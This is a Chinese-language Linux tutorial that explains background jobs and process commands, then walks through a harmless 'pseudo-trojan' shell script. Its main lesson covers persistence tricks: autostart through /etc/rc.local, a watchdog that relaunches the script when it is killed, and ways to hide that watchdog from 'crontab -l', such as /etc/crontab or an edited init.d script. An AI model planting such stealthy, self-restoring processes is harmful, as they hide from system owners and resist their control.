预备知识:
将一个程序放入到后台,悄悄的执行
./xxx.sh &
进程:
用户进程:由用户来管理
系统进程:由系统内核自行管理
系统中的每个进程,都有一个位置的ID,这就是pid,而且每次启动进程以后,PID都不相同
进程相关的命令
jobs
作用:查看当前运行在后台的进程有哪些
信息
第一列:进程编号
第二列:进程状态
第三列:进程是如何发起的
fg 进程编号 把进程从后台调到前台执行
kill %进程编号 杀死进程
ps aux 打印系统所有进程
num=`ps aux | grep myser |wc -l` #执行grep myser本身就会创建一个进程,如果有myser这个进程则num为2,如果没有myser这个进程,则num为1,
kill作用杀死进程
格式:kill 信号级别 进程PID
信号级别
-9:斩立决。立刻杀死进程
-15:死缓。等待现有的客户端处理完毕之后,立刻杀死进程
【等待期间新的用户请求无法被接入】
木马最终效果
让程序自动运行,而且是开机自动运行起来
程序还可以自我保护
防止程序文件被删除
实现步骤
1. 开发一个伪木马myser,位置:可以随便放,这里为了方便放在/下,实际使用时是放在非常隐蔽的目录下
#!/bin/bash
while true
do
touch /home/`date +%T`.txt #在/home/下每隔一秒就创建一个文件,文件名为 创建时间.txt
sleep 1
done
创建完后赋权限 chmod +x myser
试运行 ./myser ctrl+c停止 cd到/home/目录下查看
2. 将这个木马设置为开机自动启动
在/etc/rc.local中写入
/bin/bash /myser &
3. 开发一个检查木马进程是否正在运行的程序,check.sh ,位置:可以随便放,这里为了方便放在/下,实际使用时是放在非常隐蔽的目录下
#!/bin/bash
num=`ps aux | grep myser |wc -l` #执行grep myser本身就会创建一个进程,如果有myser这个进程则num为2,如果没有myser这个进程,则num为1(),
if [ $num -eq 1 ];then #num为1则表示木马进程已被杀死,需重新启动木马
/bin/bash /myser & # &表示后台启动,不再屏幕上出现信息
fi
创建完后赋权限 chmod +x check.sh
4.将check.sh写进或放进计划任务中
思路1:
写进计划任务中 但这样很容易用crontab -l 查看发现
crontab -e #创建计划任务
每分钟执行一次
* * * * * # 分 时 日 月 周
crontab -l #查看当前创建了哪些计划任务
思路2:
将check.sh放在/etc/cron.d/cron.hourly
这个目录下的程序会每隔1h自动执行一次
思路3:
执行check.sh的计划任务写在/etc/crontab #这个目录下的crontab中的任务计划不会出现在crontab -l中
*/5 * * * * /bin/bash /etc/check.sh
思路4:
在/etc/init.d下随便找个程序,将执行check的命令写进去
5.重启验证效果---------------reboot关机
开机后在/home/下发现一堆文件
脚本正在运行
杀死进程
过一分钟后再次查看,发现进程已重启,注意看PID是不一样的,表示进程是重新启动过的
自此完成